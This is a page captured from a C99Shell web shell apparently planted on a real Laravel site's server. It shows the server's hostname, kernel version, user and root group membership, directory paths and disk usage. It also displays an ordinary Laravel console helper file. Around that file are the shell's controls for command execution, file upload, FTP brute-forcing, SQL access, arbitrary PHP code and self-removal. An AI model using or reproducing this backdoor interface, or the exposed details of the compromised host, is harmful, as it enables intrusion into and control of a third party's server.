!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/laravel/framework/src/Illuminate/Console/   drwxr-xr-x
Free 28.69 GB of 117.98 GB (24.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     QuestionHelper.php (2.51 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Console;

use 
Illuminate\Console\View\Components\TwoColumnDetail;
use 
Symfony\Component\Console\Formatter\OutputFormatter;
use 
Symfony\Component\Console\Helper\SymfonyQuestionHelper;
use 
Symfony\Component\Console\Output\OutputInterface;
use 
Symfony\Component\Console\Question\ChoiceQuestion;
use 
Symfony\Component\Console\Question\ConfirmationQuestion;
use 
Symfony\Component\Console\Question\Question;

class 
QuestionHelper extends SymfonyQuestionHelper
{
    
/**
     * {@inheritdoc}
     *
     * @return void
     */
    
protected function writePrompt(OutputInterface $outputQuestion $question)
    {
        
$text OutputFormatter::escapeTrailingBackslash($question->getQuestion());

        
$text $this->ensureEndsWithPunctuation($text);

        
$text "  <fg=default;options=bold>$text</></>";

        
$default $question->getDefault();

        if (
$question->isMultiline()) {
            
$text .= sprintf(' (press %s to continue)''Windows' == PHP_OS_FAMILY
                
'<comment>Ctrl+Z</comment> then <comment>Enter</comment>'
                
'<comment>Ctrl+D</comment>');
        }

        switch (
true) {
            case 
null === $default:
                
$text sprintf('<info>%s</info>'$text);

                break;

            case 
$question instanceof ConfirmationQuestion:
                
$text sprintf('<info>%s (yes/no)</info> [<comment>%s</comment>]'$text$default 'yes' 'no');

                break;

            case 
$question instanceof ChoiceQuestion:
                
$choices $question->getChoices();
                
$text sprintf('<info>%s</info> [<comment>%s</comment>]'$textOutputFormatter::escape($choices[$default] ?? $default));

                break;

            default:
                
$text sprintf('<info>%s</info> [<comment>%s</comment>]'$textOutputFormatter::escape($default));

                break;
        }

        
$output->writeln($text);

        if (
$question instanceof ChoiceQuestion) {
            foreach (
$question->getChoices() as $key => $value) {
                
with(new TwoColumnDetail($output))->render($value$key);
            }
        }

        
$output->write('<options=bold>❯ </>');
    }

    
/**
     * Ensures the given string ends with punctuation.
     *
     * @param  string  $string
     * @return string
     */
    
protected function ensureEndsWithPunctuation($string)
    {
        if (! 
str($string)->endsWith(['?'':''!''.'])) {
            return 
"$string:";
        }

        return 
$string;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--